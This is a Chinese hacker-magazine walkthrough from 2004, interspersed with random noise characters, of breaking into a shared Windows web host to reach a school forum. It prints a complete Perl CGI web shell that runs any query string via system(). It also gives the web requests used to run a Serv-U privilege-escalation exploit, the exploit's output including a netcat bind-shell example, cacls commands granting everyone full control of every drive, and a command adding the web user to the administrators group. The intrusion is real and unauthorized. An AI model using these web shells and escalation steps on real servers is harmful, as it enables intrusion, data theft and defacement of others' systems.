剑走偏锋——灵巧的旁注攻击 9 P: O5 L* L2 b
本文作者:angel- b, o& N9 g; a8 U
文章性质:原创7 Q3 m$ d+ k; j! q) O% z k) F6 M
发布日期:2004-11-09
6 Q/ [" T H; a1 b9 g注意:3 @* `5 T. O8 z2 [& e. f$ Q
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
8 v/ g' c; S/ L+ J! q; T6 n2 k0 F本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
+ Q3 ?' ?) m; }& @
9 Q( Y9 V; t; Q1 c' K7 v' z& c4 p 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
% o% Y) _2 }& D& o! [8 Y! |/ Y& D. R) o# s J
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
G, a& f- H5 G5 ~ x
" w8 D9 c( h& c0 `7 H4 V 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 - n0 b0 X1 @5 Y% D# v& O L% ?
3 D1 Y) E& V4 D5 g4 u6 F. L4 w& j
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 7 X$ e. B2 T7 N: p' g9 O' I( ^3 ?
. r) _# [5 B0 o
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 8 S, H+ D. h. F' z! U
7 ^& D! h! x+ c$ h 没有目的的跳转目录着……
) i6 K7 N; J H3 u% |
+ W3 a( G3 P1 a# @( X) p* p! x3 |! U 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
; j4 K! s7 o- A3 W+ |7 U4 O2 O& V4 }9 W& x& t
结束了吗?不,我试着 FTP 一下:
0 U! g6 G# u& L1 t) s4 d8 }5 z6 n; P; ~: B
Microsoft Windows 2000 [Version 5.00.2195]
) i. ^2 o9 P6 T3 z(C) 版权所有 1985-2000 Microsoft Corp. $ H) Y. t0 B! b- U# N
- r$ n" `' _+ @/ u0 p- nC:\Documents and Settings\Administrator>ftp www.school.com
+ s! P% X. }: g$ \Connected to www. school.com. / W" v$ f% I Y& Y; T/ |
220 Welcome to FTP Server... 7 O) `5 D! R$ [; n- m% w, q
User (www.bjtrq.com:(none)): " _( D3 i p! b. J
331 User name okay, need password. # B; r8 K* j7 ?1 {' Y7 s' x0 e* I
Password:
. _ I) z! m8 {7 i4 `8 [& ^4 [530 Not logged in.
" Q# _2 ?3 k6 K' M6 WLogin failed.
7 U! S6 ~! L: S6 _ftp> bye
4 u1 d/ ?3 q F% T221 Goodbye!
5 e# T4 M2 y; {
7 h/ [& F* d' B2 r' [: k# ^
* {3 T) h$ F% c' W( r 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… % E$ A- G) a) s' J) z4 N( \7 W
0 J3 x n. K" y. X 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 $ _% A& E8 J9 X) O5 q
( n0 L4 n7 D+ M/ U+ |- e, |8 v, e
Application Data
) H' _# n6 n+ }1 b% GDocuments
) ]9 E' d( w' e9 E5 S1 f2 w# p. DDRM" D4 c4 k3 V6 g' F& K$ q3 |
Favorites
3 \- a3 ?1 X8 U2 ]0 mTemplates
# R( h% {* d, a7 u5 u& j「开始」菜单
+ @0 G7 \; o; D- o$ d+ Y2 Y( R桌面& b5 n7 Y8 w* h! X( H/ C
& M$ S9 V( O3 [& C: U
7 p+ f& m7 B. p9 h" r* ]' q
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, : i- M4 b2 {/ P. h
: d; `( H# t6 y# W0 p1 r8 A
ActiveState ActivePerl 5.8
( e5 |: {! g7 r1 A% sAdministrative Tools
) V' d# u5 c" ]3 [Deerfield.com
% |" p: O9 N" z1 k& p/ zDTemp8 b1 N: ]# | A$ ~" e- |* d
IPSentry
" i& M& ^7 i, j; FMBM 5
8 s! X4 w9 e' Q! K: ?- fNetMeter
! _6 G% B! z0 Y+ n/ _7 jNetwork ICE
# V2 v: P, O# K8 t" VPersits Software AspEmail% ?. K2 Q7 [- n2 g! }( w; v& Q
Persits Software AspJpeg x( @/ M! q, b( s" q/ \; n
Serv-U FTP Server+ @2 I6 H, }7 `) `
Symantec Client Security
$ E. L M2 F, u+ n qWindows 优化大师
: d3 K& t6 }. a- g) U7 o3 n- xWinRAR
( m1 R) d: u3 t7 L; T启动) X/ E' j6 X9 Z# f' T$ V$ j% i
管理工具
0 q, Z1 o3 a- q3 g* G- ?+ r" H8 h附件" `. r$ p4 j* G1 M6 ], Z. T; A R
1 H9 O" h0 y; h3 n- i( P! r! i# `
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 % ]( d; ], Y7 f/ D- [& s
# k: W6 r# ~% ?/ \9 g% U2 y 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
& }$ j, |& V9 P
8 H2 J+ l' i. NUser281=angel|1|0
7 }. W6 `5 o% T1 K' D! V
2 G( j U8 j3 I8 J7 s. x% [6 m
$ Y2 u' j' w% S" ` 然后加上
& z, R+ x: e3 c7 E0 i7 _2 [% z' L9 V9 n, }
[USER=angel|1]
1 Y o! @4 I" l0 }* L- e# h' dPassword=ng98F85379EA68DBF97BAADCA99B69B805
# z$ D/ I! T( b8 ^; ]HomeDir=D:\websites% j4 Y; `* z3 [( I; x0 U
RelPaths=1
+ H+ g% J3 Q. I8 w/ p6 I$ }TimeOut=600
& Y R- [/ b" X* c' [Maintenance=System+ S% I& l5 ^# [* S$ M
Access1=D:\websites|RWAMELCDP
$ K# K9 o( k9 F; m, \, RSKEYValues=
' Z/ M3 B! |7 R# S( Y
' j. ^ o- X/ R V) L4 T6 c/ M
. X. g) P: S& \3 O 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ! L- a) P+ E# Z& j' ^: t. L* e t! c
4 F* t7 _) x( B 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& E7 c: R; u4 h
# ~; ~7 G' L8 h7 P0 [ L: _ 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 0 A6 e9 p, @% L) E) }3 g, |
; h7 \ r' A7 S+ u 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 9 W8 G* D9 O% W5 f3 c. F0 x
& I. z/ r1 W. m#!/usr/bin/perl1 F. e. y3 C0 Y$ u, p3 J
binmode(STDOUT);
. ^. O' f$ g# J3 Qsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);7 \( u' A+ k& R3 A5 E3 V, ~% {
$_ = $ENV{QUERY_STRING};
. s% ^3 z( ~! V2 j$ p% Z. Rs/%20/ /ig;
; x, J- P2 U2 b6 O4 ws/%2f/\//ig;. H# L1 I3 u* e% D
$execthis = $_;
! h8 l% A7 A; t5 @+ g! Osyswrite(STDOUT, "<HTML><PRE>\r\n", 13);7 W. j1 F3 A3 U
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";9 @. ^7 t. a0 \4 O
system($execthis);
. ^3 W1 h! w" b2 `1 w9 O; ]* |syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
3 V" N( e- |) Eclose(STDERR);& `# T; S6 Y9 ~% K6 q
close(STDOUT);
4 G3 z% F: S2 ?, B7 E# }4 `1 ?exit;
9 C: I9 a9 i1 Q
% r! O u* W4 k9 a) X1 Q
4 @* \4 H! j* i/ L. V 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! & C) T. _. t% F& x9 v. S
- X% ]* x/ D* E4 F4 _ 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
: t% ^8 O, Y* \" p }" e3 [
) p; _. }/ u3 Khttp://anyhost//cmd.pl?d:\user\bin\su.exe ( @6 R2 R p/ o' @, m* g0 C/ }
9 Q+ w3 X2 K2 G% s5 c8 s
1 o$ }) Z3 e" ]
返回: 6 w9 m3 t' b P: ~7 O' n* `; Z5 K! T, ^, P
% \+ U: Q/ P! i4 UServ-u >3.x Local Exploit by xiaolu
% i/ N* C8 E2 x% ^; r0 ~. y3 x/ m
0 z3 F+ [6 S7 ]8 gUSAGE: serv-u.exe "command"
) c8 ^4 ~1 O6 }' c5 ~+ h" `3 g
* C+ N, J5 N3 ]2 ]" W& r& |. IExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 5 X" b2 v! I: @, z
- Z* [3 C( t/ h& \
) X+ U/ I% j# h; V) U$ |2 Y. e 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 7 N: W; l; k. y2 s. W
# T! Y& A0 P3 C0 d6 X/ z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
; _3 ]! x( t# C( a5 o& \% F# x2 K$ `# L% g) f
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" . V! Q! g$ P# w! k, z( x
& m% ^& `* D* @http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
* i6 n ^% b, |8 g9 f% C0 y. T* U) q1 x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" . i& G" | y- S7 T
5 j. C8 U6 W( p3 Q+ B- E: C0 N6 }) ^/ ~, e! P
返回下面的信息,就表示成功了!!!
M: T% [3 J$ h
9 ~+ l4 i3 d r( D! vServ-u >3.x Local Exploit by xiaolu 4 ~- U; X6 @! w& B9 v* _1 O
& p& o0 g4 {4 X; F2 Z' ~* A' A
<220 Serv-U FTP Server v5.2 for WinSock ready...
+ g0 _. h7 L" [' N1 O; r& ?
6 T f* i' t1 J4 h5 k>USER LocalAdministrator - D' T$ v9 R8 q$ V; m! J( N2 c
& e6 W9 c8 r! |0 Y0 H( d1 C
<331 User name okay, need password.
$ ~0 x; N, A: J& v: M# H' G
& P- g* }- A7 C; ]& l1 p- v, O******************************************************
) D0 u! h2 c1 s p4 S) l# }9 u! \, V' ~3 r1 a m
>PASS #l@$ak#.lk;0@P 9 }+ V2 l: J/ L& h& Y# V
4 m4 I# s: S8 X5 |: K) U1 O. U5 b<230 User logged in, proceed.
# e6 K, o( x1 B4 G
) W: p! s) y3 }******************************************************
# ~( e' E, Z6 @: Y! x8 L9 N D* {' [
>SITE MAINTENANCE
9 H% {- ?/ K4 p* \; k% m" i! h, K& ~! g8 j+ g1 V5 K
****************************************************** : M7 O6 c9 H( S+ q5 h9 ~1 L( t
, e2 n/ s* r1 a \# F
[+] Creating New Domain...
# J' t2 d& P5 l' ^9 a
8 g' [, y9 [5 g" F1 X2 `" {! e( y<200-DomainID=2 0 o( h' `. @4 y2 A% K# {
3 S; B/ W4 D& i5 p" R<220 Domain settings saved
8 [' U6 b$ v; }! _, T' s( Y) Q0 F1 ~: X# J, m
******************************************************
: A0 J" h; ?! n9 q% n3 R5 y& M5 \/ y
; W# N, b& b2 w, c. R( C[+] Domain xl:2 Created ' g# G4 ~- H- S$ |" K
2 y6 f) K$ Y& X0 H$ O
[+] Creating Evil User
: t0 f5 w1 y, {3 M H
7 s9 P( F8 G/ ]3 z<200-User=xl 3 W; H1 L+ k _7 x
& U. k, @2 e% j% N6 L0 M# e) K! \- r
200 User settings saved 7 C4 X6 T i. i
: `1 ], C3 _) y; Z8 x7 u9 t# [****************************************************** 4 u' f0 e- }9 s9 D; ?' h3 U
/ H4 {* X0 W% a, v" z[+] Now Exploiting... + \9 P4 _# U7 a2 s$ j; h
6 C) n Q; D% N& t3 u. f>USER xl 8 X, q) n- w% `+ x7 d5 d/ ^
- B" ^, a F: g8 ^% l) U8 Q# b6 V<331 User name okay, need password.
( ^3 U7 }% C& J- X* H2 y* f3 b5 {& x2 G/ z
******************************************************
3 P3 m' t6 K2 I! l. ^* C4 I4 W& L, N% w
>PASS 111111 1 e. ]; c: U$ p7 E u
8 V& s. ]1 i5 X0 r; x, X W2 o<230 User logged in, proceed.
+ l* u) O. b8 m1 ?6 }! @& j- V5 [" ^3 X% A- g; `/ g
******************************************************
0 T0 }* l- L* y8 ?
2 R j7 A# b$ `4 H[+] Now Executing: cacls.exe c: /E /T /G everyone:F
1 C5 S' P% ~8 D& d2 |9 Z; I8 L' J/ _ Q
<220 Domain deleted 3 k' _6 v. j: _1 ~$ N
8 w( Y+ f. P( I5 h% l, W******************************************************
# E! ]8 Z# j7 b$ s9 |- N7 w
% E4 ~2 {' y& d" O& B3 a# \
" N# z1 ]& B& H, \5 y 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
2 i. X# C# W' G4 t& }/ [* S8 L" K* [, R& a3 ?1 }- A
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ( y. r9 `' K" N7 h" Q( U
% E2 a( @+ D2 z& T: v
) c" S- r1 T6 ]3 z9 [, R9 s$ V. l 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 # |) Z7 N9 d& I' X+ d
4 d7 N5 R! u+ ]9 t* B, l4 ~ 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
4 q/ {4 t" i- E4 p1 D6 E6 {
8 I* s% h- O5 [4 F
' Z* q; M3 M+ X |